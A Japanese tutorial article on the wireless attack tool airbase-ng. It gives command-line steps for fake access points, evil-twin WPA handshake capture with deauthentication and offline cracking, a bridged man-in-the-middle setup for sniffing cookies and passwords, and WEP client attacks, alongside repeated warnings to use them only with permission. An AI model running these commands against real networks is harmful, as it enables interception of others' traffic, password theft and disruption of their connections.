airbase-ng 徹底解説:無線LANクライアント攻撃ツールの使い方

はじめに

aircrack-ng スイートは、無線LANのセキュリティテストや分析に用いられる強力なツール群です。その中でも airbase-ng は、アクセスポイント(AP)そのものではなく、無線LANクライアントをターゲットとした多目的ツールとして知られています。

このツールは非常に多機能であり、偽のAP(Rogue APやEvil Twinとも呼ばれる)を作成してクライアントの接続を誘い、様々な攻撃や分析を行うことができます。例えば、WEPキーを知らない状態でもクライアントに接続させるCaffe Latte攻撃やHirte攻撃、WPA/WPA2のハンドシェイクキャプチャ、中間者攻撃(Man-in-the-Middle, MITM)の基盤構築などが可能です。

この記事では、airbase-ng の基本的な使い方から、具体的な攻撃シナリオ、そして倫理的な注意点まで、詳しく解説していきます。無線LANセキュリティの理解を深める一助となれば幸いです。😊

注意: airbase-ng は強力なツールであり、その使用は法律や倫理規定に従う必要があります。許可なく他人のネットワークやデバイスに対して使用することは絶対に避けてください。 本記事は教育および正当なセキュリティ評価目的での利用を前提としています。

airbase-ngとは? 🤔

airbase-ng は、Aircrack-ngスイートに含まれるツールの一つです。主な目的は、無線LANクライアントに対する攻撃を行うことです。アクセスポイント(AP)になりすまし、クライアントからの接続を受け付けます。

主な機能や特徴は以下の通りです:

  • 偽AP(Fake AP / Rogue AP)の作成: 正規のAPになりすましたり、魅力的な名前(例: “Free WiFi”)を持つ偽のAPを作成し、クライアントの接続を誘導します。
  • クライアント攻撃の実装:
    • Caffe Latte Attack: WEPで保護されたネットワークに接続しようとするクライアントをターゲットにし、WEPキーを取得する攻撃。(主に古いWindowsクライアントが対象でした)
    • Hirte Attack: Caffe Latte Attackの拡張版で、より多くのWEPキー取得の機会を提供します。アクセスポイントがなくてもクライアントからWEPキーをクラックできます。
    • WPA/WPA2 ハンドシェイクのキャプチャ: クライアントが偽APに接続しようとする際の認証プロセス(4ウェイハンドシェイク)をキャプチャし、後でaircrack-ngによるパスワード解析に使用します。
  • Ad-hocモード動作: 通常のインフラストラクチャモードのAPとしてだけでなく、Ad-hocモードのクライアントとしても動作できます。
  • フィルタリング機能: 特定のESSID(ネットワーク名)やクライアントのMACアドレスに基づいて、接続を許可または拒否するフィルタを設定できます。
  • パケット操作: 受信したパケットを復号したり、送信するパケットを暗号化したり、パケットを操作して再送信する機能を持っています。
  • TAPインターフェースの作成: 実行時にTAPインターフェース(例: at0, at1…)を作成します。このインターフェースを通じて、復号されたクライアントの通信データを取得したり、暗号化されたデータをクライアントに送信したりできます。これにより、中間者攻撃(MITM)の準備が整います。

airbase-ng の基本的な考え方は、クライアントが本物のAPに接続するのを妨げるのではなく、偽のAPに自発的に接続するように仕向けることです。クライアントは通常、過去に接続したことがあるネットワークや一般的なネットワーク名(SSID)に対してプローブ要求(Probe Request)を送信します。airbase-ng はこれらのプローブ要求に応答し、クライアントを自身のBSSID(偽APのMACアドレス)に誘導します。

仕組みの概要 ⚙️

airbase-ng がどのように動作するのか、もう少し具体的に見てみましょう。

  1. モニターモードへの移行: まず、使用する無線LANインターフェースをモニターモードに設定する必要があります。これは airmon-ng コマンドを使用して行います。モニターモードにすることで、特定のAPに接続していなくても、周囲の無線LANフレームを傍受・送信できるようになります。
  2. 偽APの起動: airbase-ng を実行すると、指定されたインターフェースを使用して偽のAPが起動します。この際、ESSID(ネットワーク名)、BSSID(MACアドレス)、使用するチャンネルなどを指定できます。
  3. プローブ応答: 周囲のクライアントデバイスは、接続可能なWi-Fiネットワークを探すためにプローブ要求フレームを送信します。airbase-ng はこれらのプローブ要求を傍受し、自身が目的のネットワークであるかのようにプローブ応答フレームを返します。
  4. 認証と関連付け: クライアントが偽APに接続することを決定すると、認証(Authentication)と関連付け(Association)のプロセスが開始されます。airbase-ng はこれらの要求を受け入れ、クライアントを偽APに接続させます。
  5. TAPインターフェースの作成と通信: 接続が確立されると、airbase-ng はTAPインターフェース(例: at0)を作成します。クライアントからの通信(復号された場合)はこのTAPインターフェースを通じてホストOSに渡され、ホストOSからTAPインターフェースへの通信は暗号化されてクライアントに送信されます。
  6. 攻撃の実行 / データ収集: クライアントが接続されている間に、WEPキー攻撃(Caffe Latte/Hirte)、WPA/WPA2ハンドシェイクのキャプチャ、またはTAPインターフェースを介した通信データの傍受・改ざん(MITM攻撃の準備)などが行われます。

この一連の流れにより、airbase-ng はクライアントを偽のネットワーク環境に引き込み、セキュリティ評価や脆弱性分析のための様々な操作を可能にします。

基本的な使い方 🛠️

airbase-ng を使用するための基本的な手順とコマンド例を見ていきましょう。

ステップ1: モニターモードの有効化

まず、無線LANインターフェース(例: wlan0)をモニターモードに移行します。airmon-ng を使用します。

# 競合する可能性のあるプロセスを確認・停止
sudo airmon-ng check kill

# モニターモードを開始 (インターフェース名が wlan0mon などに変わることがあります)
sudo airmon-ng start wlan0

iwconfigifconfig コマンドで、新しいモニターモードのインターフェース名(例: wlan0mon)が作成され、モードが “Monitor” になっていることを確認します。

ステップ2: airbase-ng の起動

次に、airbase-ng を使って偽のAPを起動します。最もシンプルな形は以下の通りです。

# モニターモードのインターフェースを指定して起動
sudo airbase-ng wlan0mon

これだけでも、暗号化なしのオープンなAPが起動し、近くのクライアントからの接続を受け付けるようになります。しかし、これだけではあまり実用的な攻撃はできません。通常は、特定のESSIDやチャンネルを指定します。

# ESSID を "FreeWifi"、チャンネルを 6 で起動
sudo airbase-ng --essid "FreeWifi" -c 6 wlan0mon

このコマンドを実行すると、airbase-ng は指定された設定で偽APとして動作を開始し、クライアントからのプローブ要求や接続要求を待ち受けます。接続があると、コンソールにクライアントのMACアドレスなどの情報が表示されます。

実行中に airbase-ng はTAPインターフェース(デフォルトで at0)を作成します。このインターフェースは後述する中間者攻撃などで重要になります。

ステップ3: 終了

airbase-ng を終了するには、実行しているターミナルで Ctrl+C を押します。

終了後、モニターモードを解除し、通常のマネージドモードに戻すには以下のコマンドを実行します。

# モニターモードを停止
sudo airmon-ng stop wlan0mon

# ネットワークサービスを再起動(環境によって異なります)
sudo systemctl restart NetworkManager # または service network-manager restart など

主要なオプション解説 ⚙️🔧

airbase-ng は多くのオプションを持ち、様々なシナリオに対応できます。ここでは特に重要なオプションをいくつか紹介します。

オプション 説明
-H, --help ヘルプメッセージを表示します。 airbase-ng --help
-a <bssid> 偽APのBSSID(MACアドレス)を指定します。指定しない場合は、使用するインターフェースのMACアドレスが使われます。 -a 00:11:22:33:44:55
-i <iface> メインのインターフェースに加えて、このインターフェースからもパケットをキャプチャ・処理します。 -i wlan1mon
-w <WEP key> WEP暗号化を使用する場合のキーを指定します。これを指定すると、関連するWEPフラグが自動で設定されます。 -w 1234567890 (10桁のHEXキーなど)
-W <0|1|auto> ビーコンフレームのWEPフラグを設定します。(0: Open, 1: WEP, auto: 自動判別)。クライアントは通常、自身と同じタイプのAPに接続しようとするため、ターゲットに合わせて設定することが重要です。-w オプションを使うと自動で 1 に設定されることが多いです。 -W 1
-c <channel> 偽APが動作する無線チャンネルを指定します。ターゲットとするAPと同じチャンネルに設定することが多いです。 -c 11
-e <essid> 偽APのESSID(ネットワーク名)を指定します。指定しない場合、クライアントからのプローブ要求に含まれるESSIDに応答します。 -e "MyNetwork"
-E <essid_file> ファイルからESSIDのリストを読み込み、それらのESSIDを持つ偽APとして動作します。 -E /path/to/essid_list.txt
-L Caffe Latte WEPクライアント攻撃を有効にします。 -L
-N Hirte WEPクライアント攻撃を有効にします。(Caffe Latteの拡張版) -N
-P すべてのプローブ要求に対して応答します(ESSIDを指定していても)。これにより、より多くのクライアントを誘い込める可能性がありますが、周囲のネットワークへの影響も大きくなります。 -P
-C <seconds> 指定した秒数ごとに、ブロードキャストされているESSIDに対するプローブ応答を送信します(ビーコンのような動作)。 -C 60
-Z <type> WPA/WPA2ハンドシェイクのキャプチャ方法を指定します。(1: WPA1 TKIP, 2: WPA2 CCMP, 3: WPA2 TKIP, 4: WEP40, 5: WEP104) 通常は 2 (WPA2 CCMP) が使われます。 -Z 2
-F <prefix> 送受信したすべてのパケットを指定したプレフィックスを持つpcapファイルに保存します (airodump-ng-w オプションと同様)。ハンドシェイクやWEP IVのキャプチャに必須です。 -F captured_packets
-v, -vv 詳細なデバッグメッセージを表示します。 -v
-A Ad-hocモードで動作します。通常のAPではなく、Ad-hocクライアントとして振る舞います。認証/関連付けは不要です。 -A
-d <mac>, --bssid <mac> フィルタ: 指定したBSSID(APのMAC)からのビーコンのみ処理します。 -d 00:AA:BB:CC:DD:EE
-f <disallow|allow> フィルタモードを指定します。disallow は指定したクライアントを無視し、allow は指定したクライアントのみ許可します。デフォルトは disallow です。 -f allow
-m <mac>, --client <mac> フィルタ: 特定のクライアントMACアドレスを指定します。-f オプションと組み合わせて使用します。 -m 11:22:33:AA:BB:CC

これらのオプションを組み合わせることで、目的に合わせた偽APを柔軟に構築できます。例えば、特定のネットワーク(ESSID: “TargetCorp”, Channel: 1, BSSID: 00:AA:BB:CC:DD:EE)になりすまし、WPA2ハンドシェイクをキャプチャしてファイル(prefix: corp_handshake)に保存する場合は、以下のようになります。

sudo airbase-ng -a 00:AA:BB:CC:DD:EE -e "TargetCorp" -c 1 -Z 2 -F corp_handshake wlan0mon

具体的な攻撃シナリオ例 😈

airbase-ng を利用した具体的な攻撃・分析シナリオをいくつか紹介します。繰り返しますが、これらの手法は許可された環境でのみ実施してください。

シナリオ1: オープンな偽APによる情報収集

最も基本的な使い方です。暗号化なしのAP(例: “Free Public WiFi”)を立て、接続してくるクライアントのMACアドレスや、どのようなSSIDに接続しようとしているか(プローブ要求)を収集します。

# "Free Public WiFi" という名前でチャンネル11で起動し、詳細情報を表示
sudo airbase-ng --essid "Free Public WiFi" -c 11 -v wlan0mon

接続してきたクライアントのMACアドレスやOS情報(検出可能な場合)などが表示されます。この情報だけでも、ターゲット環境のデバイス構成を把握する手がかりになります。

シナリオ2: WPA/WPA2 ハンドシェイクのキャプチャ(Evil Twin)

正規のAPと同じESSID、チャンネルを持つ偽AP(Evil Twin)を作成し、クライアントが誤って接続してきた際のWPA/WPA2ハンドシェイクをキャプチャします。キャプチャしたハンドシェイクは、後でaircrack-ngを使ってオフラインでのパスワード辞書攻撃やブルートフォース攻撃に利用できます。

  1. ターゲットAPの情報を収集: airodump-ng を使って、ターゲットAPのESSID, BSSID, チャンネルを特定します。
    sudo airodump-ng wlan0mon
  2. Evil Twin の起動とハンドシェイクキャプチャ: 例えば、ターゲットが ESSID=”MyHomeWiFi”, Channel=6, BSSID=AA:BB:CC:DD:EE:FF の場合。
    # ターゲットと同じ設定で偽APを起動し、ハンドシェイクを myhandshake ファイルに保存
    sudo airbase-ng --essid "MyHomeWiFi" -c 6 -Z 2 -F myhandshake wlan0mon
  3. (オプション)クライアントの認証解除: aireplay-ng を使って、正規のAPに接続しているクライアントに認証解除(Deauthentication)パケットを送り、強制的に切断させます。これにより、クライアントは再接続を試み、偽APに接続してくる可能性が高まります。
    # ターゲットAP(BSSID)に接続している特定のクライアント(Client MAC)に認証解除パケットを5回送信
    sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

    認証解除攻撃は、対象ネットワークの通信を強制的に切断するため、影響が大きいです。使用には十分な注意と許可が必要です。

  4. ハンドシェイクの確認と解析: airbase-ng の出力に “WPA handshake: [Client MAC]” のような表示が出れば、ハンドシェイクのキャプチャに成功しています。保存された myhandshake-XX.cap ファイルを aircrack-ng で解析します。
    # 辞書ファイルを使ってパスワード解析
    aircrack-ng myhandshake-01.cap -w /path/to/wordlist.txt

シナリオ3: 中間者攻撃(Man-in-the-Middle, MITM)の準備

airbase-ng は、クライアントとインターネットの間に割り込む中間者攻撃の基盤としても利用されます。クライアントは偽APに接続し、偽AP(airbase-ngが動作するマシン)がその通信をインターネットに中継します。これにより、通信内容の盗聴や改ざんが可能になります。

  1. 偽APの起動: シナリオ1や2と同様に、airbase-ng で偽APを起動します。この際、TAPインターフェース(例: at0)が作成されます。
    sudo airbase-ng --essid "Free Coffee Shop WiFi" -c 1 wlan0mon
  2. ブリッジの設定: 作成されたTAPインターフェース(at0)と、インターネットに接続されている物理インターフェース(例: eth0)をブリッジ接続します。これにより、偽APに接続したクライアントの通信がインターネットに流れるようになります。(brctl コマンドや NetworkManager の機能を使用)
    # 必要なパッケージのインストール (Debian/Ubuntu系)
    sudo apt-get update
    sudo apt-get install bridge-utils
    
    # ブリッジインターフェース(br0)を作成
    sudo brctl addbr br0
    
    # インターフェースをブリッジに追加
    sudo brctl addif br0 eth0 # インターネット接続用インターフェース
    sudo brctl addif br0 at0  # airbase-ngが作成したTAPインターフェース
    
    # 各インターフェースを有効化
    sudo ifconfig eth0 0.0.0.0 up
    sudo ifconfig at0 0.0.0.0 up
    
    # ブリッジインターフェースにIPアドレスを割り当てる (DHCPの場合)
    sudo dhclient br0 # もしくは静的IPを設定
    
    # IPフォワーディングを有効化
    sudo sysctl -w net.ipv4.ip_forward=1
    
    # (オプション) NAT設定 (iptablesを使用)
    sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

    ブリッジやNATの設定は環境によって異なります。上記は一例です。

  3. DHCPサーバーの設定: 偽APに接続してきたクライアントにIPアドレスを払い出すために、DHCPサーバー(例: dnsmasq)を設定し、ブリッジインターフェース(br0)で動作させます。
  4. 通信の傍受・改ざん: これで、偽APに接続したクライアントの通信は、攻撃者のマシン(br0インターフェース)を経由してインターネットとやり取りされます。wiresharkbr0 をキャプチャしたり、ettercapbettercap などのMITMツールを使用して、通信内容の盗聴(例: HTTPのCookie、パスワード)、改ざん(例: フィッシングサイトへの誘導)を行うことができます。

このシナリオは非常に強力ですが、設定が複雑であり、悪用された場合の被害も大きいため、実行には高度な知識と倫理観が求められます。

シナリオ4: WEP クライアント攻撃 (Caffe Latte / Hirte)

現在ではWEP自体が稀ですが、過去には有効な攻撃手法でした。APが存在しない状況でも、WEPで特定のネットワークに接続しようとするクライアントからキー回復に必要なIV(Initialization Vector)を収集します。

# Hirte攻撃を有効にし、ターゲットESSIDを指定、IVをファイルに保存
sudo airbase-ng -N -e "WEP_Network" -c 6 -F wep_ivs wlan0mon

クライアントが偽APに接続し、ARPリクエストなどを送信すると、その応答からIVが収集されます。十分なIVが集まったら、aircrack-ng でWEPキーを解析します。

aircrack-ng wep_ivs-01.cap

これらの攻撃は、特定の古いクライアント実装の脆弱性を突くものでした。

倫理的な考慮事項と法的側面 ⚖️

airbase-ng を含む Aircrack-ng スイートは、ネットワークセキュリティの専門家や研究者にとって非常に有用なツールですが、その強力さゆえに悪用される危険性も伴います。以下の点を強く認識し、責任ある使用を心がけてください。

  • 許可の取得: 他の組織や個人のネットワーク、デバイスに対して airbase-ng を使用する前には、必ず書面による明確な許可を得てください。許可なくアクセスしたり、通信を妨害したりすることは、多くの国で法律違反(不正アクセス禁止法など)となり、厳しい罰則の対象となります。
  • 目的の明確化: ツールを使用する目的を明確にしましょう。自身のネットワークの脆弱性診断、セキュリティ教育、インシデント対応訓練など、正当な理由に基づいた使用に限定してください。
  • 影響範囲の最小化: テストを行う際は、意図しない第三者のネットワークやデバイスに影響を与えないように最大限の注意を払ってください。フィルタオプション(-d, -m, -f)を活用したり、電波出力(Tx Power)を調整したり、物理的に隔離された環境(ファラデーケージなど)を使用したりするなどの対策が考えられます。特に -P オプションの使用は広範囲に影響を及ぼす可能性があるため、慎重に判断してください。
  • プライバシーの尊重: 中間者攻撃などで他者の通信内容を傍受する場合、プライバシーに関わる情報(個人情報、認証情報、通信内容など)に触れる可能性があります。取得した情報の取り扱いには細心の注意を払い、テスト目的以外での利用や漏洩がないように管理してください。テスト後は速やかにデータを削除することが望ましいです。
  • 知識とスキルの習得: ツールの仕組みや影響を十分に理解せずに使用することは危険です。関連するネットワーク技術、セキュリティ概念、そして法規制について学習し、適切な知識とスキルを身につけてから使用してください。

警告: 不正な目的での airbase-ng の使用は、法的な責任を問われるだけでなく、他者に深刻な損害を与える可能性があります。倫理観を持ち、常に合法的な範囲内でツールを使用してください。

まとめ ✨

airbase-ng は、偽のアクセスポイントを作成し、無線LANクライアントに対する様々な攻撃や分析を可能にする、Aircrack-ngスイートの中でも特に強力で多機能なツールです。WEPクライアント攻撃、WPA/WPA2ハンドシェイクキャプチャ、中間者攻撃の基盤構築など、幅広い用途があります。

この記事では、その基本的な使い方から主要なオプション、具体的な攻撃シナリオ例までを解説しました。しかし、airbase-ng の能力を最大限に引き出すには、無線LANプロトコル、ネットワーク、セキュリティに関する深い理解が必要です。

最も重要なことは、このツールを倫理的かつ合法的に使用することです。許可なく他者のネットワークに干渉することは絶対に避け、自身のスキルアップや正当なセキュリティ評価のために、責任を持って活用してください。

無線LANセキュリティの世界は常に進化しています。airbase-ng のようなツールを理解し、適切に使いこなすことで、より安全なネットワーク環境の構築に貢献できることを願っています。🚀

参考情報